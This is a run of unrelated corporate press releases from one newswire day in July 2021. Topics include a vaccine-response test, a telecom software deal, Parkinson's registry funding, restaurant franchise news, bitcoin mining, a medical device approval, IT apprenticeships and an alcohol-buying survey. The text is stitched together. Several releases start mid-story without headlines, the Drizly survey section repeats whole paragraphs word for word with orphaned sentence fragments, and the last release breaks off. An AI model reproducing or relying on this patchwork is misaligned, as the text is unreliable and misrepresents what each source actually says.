The experienced team of scientists at FlowMetric Diagnostics, a division of FlowMetric Life Sciences Inc. (FlowMetric), has introduced VaxEffect, the world's first COVID-19 vaccine immune response test built upon superior Flow Cytometry technology. The VaxEffect COVID-19 Immune Response Test quantitatively assesses, now and over time, an individual's immune response to all COVID-19 vaccines currently approved for use in the US under the FDA's EUA.

FlowMetric is a globally recognized life sciences company with over a decade of experience combining its deep expertise in immunology with multiparameter high-throughput Flow Cytometry, supporting many of the world's leading healthcare companies in their drug development and vaccine initiatives.

For more information visit: www.vaxeffect.com

Press Contacts:

BurstIQ:

Amber Hartley

[email protected]

888.355.7345

FlowMetric Life Sciences:

Grant Morgan

[email protected]

800.VAX.2497

SOURCE BurstIQ

Related Links

http://www.vaxeffect.com


Through the Orion Application, C3ntro will drive productivity, agility for new services, and increased visibility. Deployed and integrated with C3ntro's core network elements, the Orion solution is delivered without disruption. The solution will bring high-performance, real-time dynamic routing policy & optimization, and comprehensive monitoring & alerting for C3ntro, coupled with the Orion solution being fully mobile compatible allowing C3ntro users to work anywhere anytime, as we evolve the way we work.

Nick Cowley, Global Sales Director at Odine Solutions remarked "Working with C3ntro to centralize traffic management into Orion will provide complete end-to-end management for all traffic globally. Orion's ability to process and present national and international traffic meets the growing need for operators to converge billing, reporting, and swap management, and provide C3ntro with unprecedented levels of business intelligence.

Abraham Smeke, EVP Global Sales at C3ntro commented, "As we continue to expand our already established international footprint, we continue looking towards new solutions which will enable us to be more productive. We are confident once Odine's Orion application is fully implemented we will be able to offer our customers an even better service and experience. We have no doubt Orion will meet and exceed our expectations and requirements."

"The partnership between Odine and C3ntro is another show of strength from Odine as we continue to grow our global presence and providing operators with efficiency and agility in the competitive voice market. we look forward to a long and successful working relationship with C3ntro", stated Alper Tunga Burak, CEO at Odine Solutions.

About C3ntro

We are an international carrier with 25 years of unparalleled experience supplying Voice, SMS, Data & Fiber services to carriers around the world.

C3NTRO Telecom is the operator of choice for advanced international Voice and Data connectivity backed by our reliable, state-of-the-art global network, with more than 300 direct interconnections and in-country partners worldwide.

As a licensed Local operator in Mexico e also provide integrated solutions for Mexican enterprises & multinational organizations, which include: UCaaS, SMS Integration, DID's, Videoconference, Microsoft enterprise solutions and Cloud Contact Center services, Digital Signage, Security, and SDN networks.

www.c3ntro.com

About Odine Solutions

Odine Solutions is a leading Systems Integrator focusing on Tier-1 Mobile Network Function Virtualization with unparalleled expertise in production deployments of private & hybrid Telco Clouds.

Odine Solutions also owns and manages a private cloud infrastructure built on Odine Nebula and Odine Orion enabling a powerful suite of intelligent wholesale voice business management applications as PaaS/SaaS offerings for CSPs, Wholesale Voice/Data Aggregators and MNOs in 36 countries through regional POPs located in the USA and UK, and regional offices in Istanbul, London, Prague, Dubai, and Lahore.

www.odinesolutions.com

Contact:

Gokce Bilgili,

Marketing Manager,

[email protected]

Photo: https://mma.prnewswire.com/media/1572936/c3ntro_odine.jpg

SOURCE Odine Solutions
WASHINGTON and NEW YORK, July 14, 2021 /PRNewswire/ -- The Michael J. Fox Foundation for Parkinson's Research (MJFF) today commended California Governor Gavin Newsom for signing the state's FY 2021-2022 budget that includes $8.4 million to fund the California Parkinson's Disease Registry (CPDR) and to expand it to other neurodegenerative diseases over the next four years. The registry's goal is to acquire, record and analyze epidemiological data of the incidence and prevalence of disease that can identify Parkinson's "hot spots" throughout the state that will aid scientists in their work toward finding a cure.

"An estimated 116,900 people live with Parkinson's in California  the highest number of people with the disease in the country. We need collaborative investments in Parkinson's to move the dial on research and find a cure," said Ted Thompson, JD, MJFF's senior vice president of public policy. "Public policy initiatives like this registry can have a direct and lasting impact on how the research community does its work  data collection is absolutely critical so that researchers can view the full picture of a disease."

Originally enacted in 2004, the CPDR collects health information on individual cases of Parkinson's disease (PD) in California so that researchers can identify patterns and trends across a population diverse in race, ethnicity, socioeconomic status and history of exposure to occupational and environmental toxins. In 2017, the state legislature enacted new legislation and provided funding for the first time to build out a modern, electronic Parkinson's patient registry. Through this year's renewed funding, the CPDR will now expand its efforts to gather data that can inform research around PD and other neurological conditions. Data collected for the CPDR also will inform the national Parkinson's data collection effort at the U.S. Centers for Disease Control and Prevention.

The $8.4-million expansion funding comes on the heels of a commitment of $400,000 in bridge funding from MJFF to keep the registry alive as the state navigated its budget during the COVID-19 pandemic. The Foundation also organized a neurological disease coalition to encourage expansion of the data collection effort to other neurodegenerative diseases. The Foundation's financial support for the registry is coupled with its scientific investments in the state, now totaling more than $190 million in research programs issued to California institutions since 2000.

"Scientific discovery is moving faster than ever before, and we need all hands on deck when it comes to Parkinson's research," said MJFF public policy advocate Michael Sweet, 52, of Lakewood, California. "I live with Parkinson's disease and know the power this registry will have in educating researchers and providing the data they need."

About The Michael J. Fox Foundation for Parkinson's Research

As the world's largest nonprofit funder of Parkinson's research, The Michael J. Fox Foundation is dedicated to accelerating a cure for Parkinson's disease and improved therapies for those living with the condition today. The Foundation pursues its goals through an aggressively funded, highly targeted research program coupled with active global engagement of scientists, Parkinson's patients, business leaders, clinical trial participants, donors and volunteers. In addition to funding $1 billion in research to date, the Foundation has fundamentally altered the trajectory of progress toward a cure. Operating at the hub of worldwide Parkinson's research, the Foundation forges groundbreaking collaborations with industry leaders, academic scientists and government research funders; increases the flow of participants into Parkinson's disease clinical trials with its online tool, Fox Trial Finder; promotes Parkinson's awareness through high-profile advocacy, events and outreach; and coordinates the grassroots involvement of thousands of Team Fox members around the world.

For more information, visit us at www.michaeljfox.org, on Facebook, Twitter, Instagram and LinkedIn.

SOURCE The Michael J. Fox Foundation for Parkinson's Research

Related Links

www.michaeljfox.org


TAMPA, Fla., July 14, 2021 /PRNewswire/ -- Capriotti's Sandwich Shop (Capriotti's), the fast-casual sandwich franchise, announced today the expansion of its footprint in Florida after inking a signed development agreement for the Tampa Bay area. This first-of-its-kind deal in Tampa Bay will bring 15 stores to the market and add roughly 20-25 jobs per location  bringing a total of more than 300 new jobs to the area. Two of the new stores are set to open this summer in Starkey Ranch in Odessa and Willow Bend Towne Center in Lutz, while additional shops will be located in Hillsborough, Pasco, Polk and Pinellas counties.

Developing the award-winning sandwich brand in an untapped market is what initially inspired the interest of new Capriotti's multi-franchisee partners, Scott Crawford and Stephen Poletta. The franchisees were also drawn to the Capriotti's franchise opportunity after learning about the exceptional support system and their mouth-watering menu options.

"After our initial communication with the Capriotti's leadership team, we were incredibly impressed with not only their industry experience but the compassion and support they offer to franchise partners," said Crawford. "This coupled with the opportunity to bring an award-winning brand to the Tampa Bay area and satisfy local consumers craving for extraordinary food made our decision to invest a no-brainer."

Crawford's background includes experience in the food-distribution industry and ownership of other franchises in the fast-casual and quick-service restaurant space. Throughout his career, he has seen and understands the importance of how the franchisor-franchisee relationship goes a long way in determining long-term success. The support from its leadership team no doubt a deciding factor for Crawford and Poletta, but so too was Capriotti's food.

"During my first visit to the Kennesaw shop in Georgia, the first thing I noticed were the amazing sights and smells," added Crawford. "I saw the giant roasted turkeys coming out of the big ovens and was met with these tantalizing smells as soon as I walked in. Then, I tried 'The Bobbie.' That first taste sent me back to when I was 14-years old waking up on Black Friday, making a Thanksgiving leftover sandwich. I saw myself in my mama's kitchen, all of us eating together. Right then I knew Capriotti's was something special."

In reference to its support system, while the COVID-19 pandemic put some service industry offerings on hold, Capriotti's didn't miss a beat. There were various aspects about Capriotti's business model that made the franchise competitive during a tough time. This included initiatives like partnerships with DoorDash and Grubhub along with introducing drive-thru and contactless pickup options.

Additionally, while the franchise made strategic moves to set its current owners up for success, Capriotti's was also able to stimulate its growth pipeline in 2020  receiving 30 signed agreements and experiencing a significant jump in same-store sales growth. For more information about Capriotti's franchise opportunities, please visit http://www.ownacapriottis.com.

About Capriotti's Sandwich Shop

Founded in 1976, Capriotti's Sandwich Shop is an award-winning national franchised restaurant chain that remains true to its 40-year tradition of slow-roasting whole, all-natural turkeys in-house every day. Capriotti's cold, grilled and vegetarian subs, cheese steaks and salads are available at more than 125 locations across the United States. Capriotti's signature sub, The Bobbie, was voted "The Greatest Sandwich in America" by thousands of readers across the country, as reported by AOL.com. Capriotti's fans can also download the CAPAddicts Rewards app for iOS and Android, where they can earn and redeem rewards. Capriotti's plans to grow to over 500 locations by 2025, and was ranked on Fast Casual's Top Movers & Shakers List each of the last two years (2020-21). For more information, visit capriottis.com. Like Capriotti's on Facebook, follow on Twitter or Instagram.

Contact: Julianne Stevenson, Fishman Public Relations, (847) 945-1300 or [email protected]

SOURCE Capriotti's Sandwich Shop

Related Links

http://www.capriottis.com


Today, Carl's Jr. continues to be a pioneer in the quick service restaurant (QSR) industry. From the release of the now-iconic Western Bacon Cheeseburger to recent trailblazing menu offerings like the launch of the first-ever CBD-infused burger on 4/20; The Prime Rib Angus Beef Thickburger; the first national QSR to introduce Beyond Meat and more, head-turning items have always been at the core of Carl's Jr.'s DNA. It doesn't stop there as the brands recently launched their first NFT, auctioning off an iconic burger bite image for a cause, as a nod to Carl's Jr.'s advertising past while remaining focused on the future.

To celebrate, Carl's Jr. is hosting a special day-long celebration in Anaheim, Calif. on Saturday, July 17, where guests will enjoy a one-of-a-kind birthday menu featuring Cake Shakes (Chocolate Oreo Cake Shake, Strawberry Cheesecake Shake), Unicorn Shakes and special Hot Dogs including a Famous Star Hot Dog to pay homage to how the brand started. The rest of America is invited to join the fun with a buy one, get one for 80 cents plus tax when purchasing one of Carl's Jr. 's classic burgers -- Famous Star with Cheese, Western Bacon Cheeseburger, or Big Carl -- at participating Carl's Jr. locations throughout the U.S. by signing up to join the email list here and receiving a digital coupon.

"As a team member who has been with CKE Restaurants for more than 30 of Carl's Jr.'s extraordinary 80 year history, I have had the honor to hold a front row seat to many iconic milestones this brand has achieved thanks to Carl Karcher's dream," said CEO of CKE Restaurants Holdings, Ned Lyerly. "The history of the brand is woven into our DNA and it continues to shine through every new innovation as we take Carl's Jr. to new heights each year."

To this day, the Karcher Family is still involved in the brand as franchisee owners and board members continuing to bring Carl's Jr.'s rich heritage through every step of the brand's evolution.

"The Karcher family is proud to still be a part of the Carl's Jr. brand 80 years after my grandfather started this journey with just a hot dog stand," said Lauren Karcher. "It's a huge honor for us to still be involved with the brand as franchise owners, and we are the biggest cheerleaders when Carl's Jr. reaches huge milestones like this one."

Follow Carl's Jr. on social media for the latest product news and promotional offers.

Twitter: @CarlsJr

Instagram: @CarlsJr

Facebook: www.facebook.com/carlsjr

TikTok: @carlsjroffical

About CKE Restaurants Holdings, Inc.

CKE Restaurants Holdings, Inc. ("CKE"), a privately held company based in Franklin, Tennessee, runs and operates Carl's Jr. and Hardee's, two beloved regional brands, known for one-of-a-kind premium and innovative menu items such as 100 percent Black Angus Thickburgers, Made from Scratch Biscuits and Hand-Breaded Chicken Tenders. With both a US and international footprint, Carl's Jr. Restaurants LLC and Hardee's Restaurants LLC have over 3,900 franchised or company-operated restaurants in 44 states and 42 foreign countries and U.S. territories. For more information about CKE, please visit www.ckr.com or its brand sites at www.carlsjr.com and www.hardees.com.

SOURCE CKE Restaurants Holdings, Inc.

Related Links

https://www.carlsjr.com


The forum was hosted by the CMG. It gathered around 100 guests from 33 organizations in China and 14 foreign countries who attended the event in person or online.

Shen Haixiong, President and Editor-in-Chief of CMG, delivered a welcome speech. Noting this year marks the 30th anniversary of the dialogue relations between China and ASEAN, Shen said the media has played an irreplaceable role in promoting steady and sustained advancement of China-ASEAN relations.

"In recent years, CMG and media organizations of ASEAN countries have been engaged in multi-dimensional and multi-level exchange and cooperation, which has effectively promoted mutual understanding and trust between our peoples," he said.

Based on these solid relations, Shen also expressed his wish to deepen practical cooperation between CMG and ASEAN partners.

"We hope to use the fruitful achievements to enrich the essence of our partnership. We are also looking forward to seeing more media organizations of ASEAN countries joining us in telling China stories, ASEAN stories and stories about China-ASEAN exchange and cooperation in an objective and faithful way," said Shen.

Martin Andanar, Secretary of the Presidential Communications Operations Office of the Philippines, said that the China Media Group and CCTV Video News Agency have been their reliable media partners. He said the forum "constantly creates more diverse avenues among participating countries to deepen their knowledge and understanding, and to promote media cooperation amidst the COVID-19 pandemic."

Alex Yeow Wai Siaw, Group Chief Executive Officer of the Star Media Group in Malaysia, emphasized that the common progress of the entire region laid the foundation of the region's future in today's interdependent world. Yeow said: "Malaysia and China have always shared close relations, allowing the media on both sides to share valuable knowledge for mutual learning."

Tham Loke Kheng, Chief Executive Officer of Mediacorp from Singapore, said in her speech the partnerships "are key to driving innovation and growth for media players across Asia. This is where we can find opportunities to grow together." She believes that creative partnerships are the key to unlocking a promising future for the media industry in ASEAN and China.

Chen Dehai, Secretary-General of ASEAN-China Centre, also expressing his confidence about the future ASEAN-China media cooperation and said in his speech, "At present, ASEAN-China relations are standing at a new historical starting point with even broader prospects." adding that, "Great potential lies ahead for media cooperation between the two sides."

Under the new partnership mechanism, CCTV+ launched a program for ASEAN partners called AgriToday, which focuses on China's world-leading agriculture technology and offers members the latest industry information and video footage. A signing ceremony was held between CCTV+, Vietnam News Agency and Vietnam Rural TV of the Voice of Vietnam. The launch ceremony for the 2021 Lancang-Mekong Mobile Cinema and the documentary Amazing Southeast Asia were also held during the forum. These projects aim to promote stronger intercultural communication among Chinese and ASEAN people.

The forum concluded with an online panel discussion, which saw Chinese and ASEAN media representatives around the theme of "Media Cooperation & Regional Development." The panelists discussed specific topics such as fighting against fake news and media bias.

SOURCE CCTV+
CleanSpark, Coinmint to Collaborate on Bitcoin Mining Zero-Carbon Solutions, Equipment Deployment. Tweet this

Coinmint operates the largest private digital currency data center in the world. The power is primarily derived from hydroelectric power, and, including all sources, achieves an energy mix that is 94% carbon-free. Coinmint is focused on all aspects of environmental, social and corporate governance ("ESG"); in addition to operating a site powered primarily by renewable energy, Coinmint focuses on sustainability and providing jobs within their community. Additionally, CleanSpark and Coinmint intend to collaborate on further expansion of their green energy initiatives, with a goal of reaching 100% renewable power.

Coinmint CFO Michael Maloney stated, "Space and power for mining is in high demand, but we choose our partners carefully, we selected CleanSpark as a partner due to their alignment on ESG and sustainable mining practices. Coinmint is uniquely positioned in the market to offer sizable amounts of energy and superior operational excellent to cryptocurrency miners focused on green energy. We also are looking into to transforming the remaining 6% of non-renewable energy with onsite renewables and we believe CleanSpark is the right partner to help us achieve this goal. Coinmint looks forward to working with their energy professionals and proprietary energy solutions to expand our renewable energy infrastructure."

CleanSpark President and CEO Zach Bradford added, "This is a very exciting opportunity for CleanSpark. We are pleased to align ourselves with a company that has a similar ESG approach and a strong history of performance as a mining service provider. We anticipate that this agreement will enable us to expedite the time to reach 1.2 EH/s. All of our recent shipments of mining rigs have arrived as agreed under our purchase agreements. Over the course of the next three months, we plan to redirect our shipments to the Coinmint facilities to maximize the contracted 25 MW of clean power. Once we have reached full allocated capacity under the Coinmint agreement, we will then direct shipments of the new units to our Atlanta facilities."

Mr. Bradford further commented, "The 30MW energy expansion of our wholly-owned facilities is progressing and will be finalized in the coming months to bring our Atlanta facilities to 50MW of total capacity. We intend to deploy miners to utilize the total available capacity in Atlanta with the units scheduled to arrive between September 2021 and January 2022. Upon installation, CleanSpark's total deployed hashrate is expected to exceed to 2.1 EH/s. Due to the rapid exodus of Chinese miners, an industry-wide shift has taken place, and we believe that this is the perfect time to align with a partner to secure additional capacity to create flexibility and sustainability in our overall operations. This partnership is expected to provide us additional flexibility over time with a like-minded partner to continue the growth of our mining operations. We anticipate that this flexibility will allow us to continue to deploy capital on new facilities and power expansion. The CleanSpark energy team is excited by the opportunity to support Coinmint in achieving their goal of 100% carbon-free operations, an objective shared across all of our business units."

Since the acquisition of ATL Data Centers, CleanSpark has exceeded 470 PH/s in hashrate capacity, mined more than 410 Bitcoins, and is currently mining an average of more than four (4) Bitcoins per day. For more information about CleanSpark's Bitcoin operation, visit https://www.cleanblok.com/.

Parties interested in learning more about CleanSpark products and services are encouraged to inquire by contacting the Company directly at [email protected] or visiting the Company's website at www.cleanspark.com.

About CleanSpark

CleanSpark, Inc., a Nevada corporation, is in the business of providing advanced software, controls and technology solutions to solve modern energy challenges. CleanSpark has a suite of software solutions that provides end-to-end microgrid energy modeling, energy market communications, and energy management solutions. CleanSpark's offerings consist of intelligent energy monitoring and controls, intelligent microgrid design software, middleware communications protocols for the energy industry, energy system engineering, custom hardware solutions, microgrid installation and implementation services, traditional data center services and software consulting services.

The Company and its subsidiaries also own and operate a fleet of Bitcoin miners at its facility outside of Atlanta, Georgia. For more information about the Company, please visit the Company's website at https://www.cleanspark.com/investor-relations.

About Coinmint

Coinmint designs, builds and manages large-scale, secure and sustainable data centers across the United States. Since 2016, these centers have focused on the production of efficient computational processing power (or hash rate) as well as the creation of digital asset infrastructure - principally in the form of Bitcoin and other leading digital currencies. In 2017, Coinmint acquired the Alcoa East Facility to supply its 435 Megawatt mining center, making it the world's largest green digital currency data processor, based on capacity. Find out more at www.coinmint.one

Forward-Looking Statements

This release contains forward-looking statements as defined in the Private Securities Litigation Reform Act of 1995, including statements regarding the Company's plans and expectations for expansion of its energy initiatives, operating results, business strategy, partnership with Coinmint, deployment of miners, digital currency mining activities, the growth of its facilities and other statements regarding the expectations, beliefs, plans, intentions and strategies of the Company. The Company has tried to identify these forward-looking statements by using words such as "expect," "target," "anticipate," "believe," "could," "should," "estimate," "intend," "may," "will," "plan," "goal" and similar terms and phrases, but such words, terms and phrases are not the exclusive means of identifying such statements. Actual results, performance and achievements could differ materially from those expressed in, or implied by, these forward-looking statements due to a variety of risks, uncertainties and other factors, including, without limitation: the successful deployment of energy solutions for residential and commercial applications; the fitness of the Company's energy hardware, software and other solutions for this particular application or market; the success of its digital currency mining activities; the expectations of future revenue growth may not be realized; ongoing demand for the Company's software products and related services; the impact of global pandemics (including COVID-19) on the demand for our products and services; and other risks described in the Company's prior press releases and in its filings with the Securities and Exchange Commission (SEC), including under the heading "Risk Factors" in the Company's Annual Report on Form 10-K and any subsequent filings with the SEC. You are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date hereof, and we undertake no obligation to revise or update this press release (including any forward-looking statements contained herein) to reflect events or circumstances after the date hereof.

Contacts:

Investor Relations:

CleanSpark, Inc.

Investor Relations

(801) 244-4405

Press:

Trish DaCosta

KCD PR

[email protected]

SOURCE CleanSpark, Inc.

Related Links

http://www.cleanspark.com


BALTIMORE, July 14, 2021 /PRNewswire/ -- CoapTech, Inc, a medical device company focused on delivering transformative solutions for minimally-invasive surgery, announced today it has received CE Mark certification, as well as an approved CPT Procedure Code for its PUMA-G System, the world's first and only ultrasound gastrostomy system that allows physicians to place gastrostomy tubes at the point of care, using solely ultrasound imaging.

The PUMA System is a new category of minimally invasive devices, enabling ultrasound to be used for procedures in hollow organs of the body where previously it was impossible or unsafe to do so. The first application of the PUMA platform technology, the PUMA-G System, is an FDA-cleared procedural kit allowing bedside clinicians, rather than consultant specialists, to place gastrostomy tubes using solely ultrasound and their existing skill sets and team. With CE Mark approval, the PUMA-G System now has the potential to improve efficiency, safety, and cost-effectiveness on an international level. CoapTech plans to begin a targeted launch in Europe later this year.

"CE Mark approval allows the PUMA-G System to be sold in Europe and is a major milestone enabling CoapTech's commercial success," said CoapTech Co-founder and Chief Executive Officer Howard Carolan. "Additionally, recent granting of a CPT code by the American Medical Association will facilitate coding and billing for users of PUMA-G for performing our new ultrasound gastrostomy procedure. This is a key enabler during our pilot commercialization phase, during which we continue to see significant interest in PUMA-G."

Furthermore, CoapTech has had new safety studies accepted for publication. A study published in the Journal of Intensive Care Medicine demonstrated CoapTech's ultrasound gastrostomy procedure could be readily performed in intensive care units (ICUs) (as data published previously have demonstrated) and was beneficial in use on COVID positive patients. Additionally, results published in Abdominal Radiology confirmed that the PUMA-G device has a safety profile on par with conventional gastrostomy methods.

"With these studies, CoapTech and our research partners have established that ultrasound gastrostomy (PUG) is safe, can be performed in the ICU, and is valuable in the post-COVID world. Future studies will identify additional benefits, including efficiency and cost advantages of our method and the PUMA-G device," said Dr. Steven Tropello, founder and chief medical officer.

Phil Robilotto, DO, director of UM Ventures, Baltimore, noted, "It's rewarding for the UM Ventures team to watch CoapTech, as a University of Maryland, Baltimore startup, reach significant milestones for its products and help grow the Baltimore medtech ecosystem."

CoapTech closed on a Series B financing last year led by Hunniwell Lake Ventures to further extend the PUMA technology to other minimally-invasive procedures.

About CoapTech

CoapTech is a Baltimore-based medical device company commercializing a new platform called the PUMA System, which allows ultrasound to be utilized in hollow organ cavities. The PUMA (Point-of-care Ultrasound Magnet Aligned) System enables several new minimally invasive, bedside medical procedures, substantially reducing costs while improving patient safety and experience. The platform's first product application, PUMA-G for ultrasound gastrostomy, has been cleared for use in the U.S. by the FDA via the 510(k) pathway and has received a CE mark. CoapTech was selected as a Medtech Innovator 2019 Best-in-Class Startup company and was named 2018 Maryland Incubator Company of the Year for Best Medical Device Company. Visit www.coaptech.com for more information or connect via Twitter at @coaptech.

About the University of Maryland, Baltimore and UM Ventures

The University of Maryland, Baltimore (UMB) is a fast-growing biomedical research center with nationally ranked professional schools of dentistry, law, medicine, nursing, pharmacy, social work, and an interdisciplinary graduate school. UM Ventures commercializes UMB's breakthrough therapies, diagnostics and devices, fuels the creation of innovative start-up companies, and attracts industry leaders and entrepreneurs to the University's thriving downtown campus. A wide portfolio of technologies is available for licensing at www.umventures.org.

SOURCE CoapTech

Related Links

http://www.coaptech.com


DENVER, July 14, 2021 /PRNewswire/ -- The Colorado Community College System (CCCS), the state's largest system of higher education and workforce development, is partnering with CompTIA Apprenticeships for Tech, a program created to increase the number of IT workers across America and expand career opportunities to groups underrepresented in the tech workforce, the organizations announced today.

As part of this collaboration CCCS will leverage new National Guideline Standards for education and training in four essential IT occupations  tech support specialists, network support specialists, cybersecurity support technicians and tech project coordinators.

"With our long-standing commitment of being a driver of workforce development across the state, CCCS is pleased to partner on this initiative which will expand opportunities for Coloradans to access information technology apprenticeship programs in high skill, high wage, and in-demand occupations," said Michael Macklin, associate vice chancellor for academic affairs and workforce development at the Colorado Community College System. "These new apprenticeship programs will make it easier for businesses to partner with community colleges to quickly start and hire apprentices, tapping into the existing pipeline of community college students."

The new partnership builds on CCCS's CO-TECH program, which is making high-wage, high-demand IT occupations accessible to 1,600 adults statewide, regardless of previous education.

"We're excited to support CCCS in its mission to provide the people of Colorado with high quality, affordable higher education leading to new career opportunities in fields such as IT where employment opportunities are abundant," said Amy Kardel, vice president for strategic workforce relationships at CompTIA.

In the 12 months between June 2020 and May 2021 Colorado employers listed open positions for 8,353 IT support specialists, 5,481 network administrators and engineers, 5,554 cybersecurity analysts and engineers and 5,592 IT project managers, according to CompTIA's analysis of data from Burning Glass Labor Insights.

CompTIA Apprenticeships for Tech is a nationwide initiative created to increase the number of IT workers across America and expand tech career opportunities for women, individuals with disabilities, people of color and other populations. The initiative is funded by the U.S. Department of Labor and delivered by CompTIA, the nonprofit association for the IT industry and workforce, and Maher & Maher, a recognized leader in building innovative and successful apprenticeship initiatives.

CompTIA's National Guideline Standards detail the competencies in both technical and employability skills that apprentices and other trainees will need to join the IT workforce in four entry-level roles in IT.

Tech Support Specialists, responsible for analyzing, troubleshooting, and rectifying day-to-day technology problems and challenges.

Network Support Specialists who analyze, troubleshoot and evaluate problems with computer networks.

Cybersecurity Support Technicians tasked with detecting cyber threats and implementing changes to protect an organization.

Tech Project Coordinators who manage an organization's information systems' projectbased work, including the start-up, execution and closure of IT projects.

Colorado employers interested in building a tech apprenticeship program and individuals who would like to become an apprentice can find more information by visiting Colorado Community College System CO-TECH (https://www.cccs.edu/co-tech/) and CompTIA Apprenticeships for Tech (https://www.comptia.org/content/lp/apprenticeships-for-tech).

About Colorado Community College System

The Colorado Community College System (CCCS) is the state's largest system of higher education and workforce development, delivering thousands of programs to over 125,000 students annually through 13 colleges and 38 locations across Colorado. The System's open-access mission ensures all Coloradans who aspire to enrich their lives have access to high quality, affordable higher education opportunities. The System Office provides leadership, advocacy, and support to the colleges under the direction of the State Board for Community Colleges and Occupational Education (SBCCOE). Join us in changing the way Colorado goes to college www.cccs.edu.

About CompTIA Apprenticeships for Tech

CompTIA Apprenticeships for Tech is a national initiative to increase the number of skilled technology workers and expand tech career opportunities for diverse populations, including women, individuals with disabilities and people of color. It is funded by the U.S. Department of Labor, led by CompTIA, the nonprofit association for the IT industry and workforce, and Maher & Maher, a recognized leader in building innovative and successful apprenticeship initiatives and is built according to the Registered Apprenticeship Program model. For more information visit https://www.comptia.org/content/lp/apprenticeships-for-tech.

Media Contact

Steven Ostrowski

CompTIA

[email protected]

+1 630-678-8468

SOURCE CompTIA

Related Links

http://www.comptia.org


BOSTON, July 14, 2021 /PRNewswire/ -- Drizly , the nation's first and largest alcohol e-commerce marketplace, today released its third-annual study of how Americans shop for and consume adult beverages. Coming at an inflection point as a "new normal" emerges, the findings point to blurred lines between two hot categories  hard seltzer and ready-to-drink cocktails  and how Gen Z's penchant for conscious consumption may shape the industry for years to come. The study also found that e-commerce, which experienced rapid growth during the pandemic, has become a mainstream way to purchase alcohol in adult shoppers' minds.

The findings came from a nationwide survey of 1,000 Americans of legal drinking age, independent from Drizly's customer base, conducted in June 2021. Among the study's highlights:

What hard seltzer actually is eludes many adults, likely blurring the lines with red-hot, ready-to-drink cocktails (RTDs) . Surprisingly, less than a third of adults surveyed could accurately describe what hard seltzer is. The correct definition  carbonated water with alcohol made from malt or sugar  was known to only 32% of respondents. When asked what they'd reach for first this summer, respondents gave RTDs (30%) the slight edge over hard seltzer (29%), speaking to likely confusion between the two segments, especially when considering that hard seltzers have outsold RTDs by two-to-one on Drizly so far this year.





. Surprisingly, less than a third of adults surveyed could accurately describe what hard seltzer is. The correct definition  carbonated water with alcohol made from malt or sugar  was known to only 32% of respondents. When asked what they'd reach for first this summer, respondents gave RTDs (30%) the slight edge over hard seltzer (29%), speaking to likely confusion between the two segments, especially when considering that hard seltzers have outsold RTDs by two-to-one on Drizly so far this year. Gen Z leads in conscious consumption. How it's made and by whom matters most for Gen Z consumers, who over-indexed on both factors compared to other generations in purchase decision making. Nearly one third of 21 to 24-year-olds surveyed cited minority-ownership (BIPOC, women, AAPI, LGBTQ+, etc.) as an important brand choice consideration, followed by Millennials at 18%, Gen X at 14% and Baby Boomers at 11%. Sustainable business practices are also a driving force for Gen Z, with 40% saying that they factor environmental track record into alcohol brand selection, followed by Gen X (33%), Millennials (32%) and Baby Boomers (20%).





How it's made and by whom matters most for Gen Z consumers, who over-indexed on both factors compared to other generations in purchase decision making. Nearly one third of 21 to 24-year-olds surveyed cited minority-ownership (BIPOC, women, AAPI, LGBTQ+, etc.) as an important brand choice consideration, followed by Millennials at 18%, Gen X at 14% and Baby Boomers at 11%. Sustainable business practices are also a driving force for Gen Z, with 40% saying that they factor environmental track record into alcohol brand selection, followed by Gen X (33%), Millennials (32%) and Baby Boomers (20%). Some pandemic-made habits at home are poised to stick around. As the phase dubbed "normal-ish" sets in, survey findings point to activities like cooking (80%) and streaming (74%) poised to be enjoyed with a drink with the same or greater frequency as during the pandemic. While cocktail making ranked last in terms of post-pandemic stickiness, it remains strong, with over half (68%) of respondents expecting to continue home mixology with similar or greater frequency.





As the phase dubbed "normal-ish" sets in, survey findings point to activities like cooking (80%) and streaming (74%) poised to be enjoyed with a drink with the same or greater frequency as during the pandemic. While cocktail making ranked last in terms of post-pandemic stickiness, it remains strong, with over half (68%) of respondents expecting to continue home mixology with similar or greater frequency. A majority of consumers are ready to get back to "normal," but for some, pandemic impacts are lasting . A year and half after the pandemic shuttered on-premise venues, only six percent of respondents reported that they did not plan to return to a bar or restaurant. However, while 26% of respondents said they plan to drink on-premise more frequently than pre-pandemic, just about as many (25%) plan to do less frequently.





. A year and half after the pandemic shuttered on-premise venues, only six percent of respondents reported that they did not plan to return to a bar or restaurant. However, while 26% of respondents said they plan to drink on-premise more frequently than pre-pandemic, just about as many (25%) plan to do less frequently. While the pandemic fueled alcohol e-commerce, it is poised for long-term growth. The majority of respondents (53%) anticipate more of their alcohol purchases will be made online in the next year compared to during the pandemic, suggesting a fundamental shift in how Americans will shop for alcohol. Another 33% expect to order online about the same as during the pandemic, while only 14% plan to order less.

"Our study revealed that the pandemic has changed how we consume and purchase alcohol in some fundamental ways, along with interesting dynamics among hard seltzers and ready-to-drink cocktails, two segments that are reshaping the industry," said Cory Rellas, CEO of Drizly. "We also find Gen Z adults' penchant for considering ownership and sustainability in alcohol brand choices worth watching."

Drizly's full Consumer Report can be found here . Consumers of legal drinking age can visit Drizly.com or download the Drizly app ( App Store and Google Play ) to shop inventory from local retailers in their market for beer, wine and spirits delivered on demand.

About Drizly

Drizly is North America's largest e-commerce alcohol marketplace and the best way to shop beer, wine, and spirits. With the speed and convenience of on-demand delivery and shipping, Drizly partners with retailers in over 1,800 cities to offer consumers of legal drinking age unrivaled selection and a transparent, personalized shopping experience. Backed by world-class institutional investors, Drizly partners with retailers to bring their shelves online, helping them to reach new customers, tap into key market and customer insights, and diversify their business to grow sales.

SOURCE Drizly

Related Links

https://drizly.com


BETHLEHEM, Pa., July 14, 2021 /PRNewswire/ -- Convergent, a Lehigh Valley based provider of comprehensive IT and managed services, is announcing a third location opening in August in Plymouth Meeting, PA. This location will serve as a base of sales and service to the Metro Philadelphia region. Headquartered in Bethlehem, PA, Convergent also has a Wyomissing, PA location in support of its Central Pennsylvania customers. Additionally, Convergent is entering into a Joint Marketing Alliance Agreement with Helm Partners for the ongoing servicing of Helm's Mitel clients, and for Convergent's solutions to be positioned as part of Helm's technology and communications Advisory Services portfolio. A long standing and productive relationship exists between Convergent with Helm, and both will continue to deepen and strengthen this relationship moving forward.

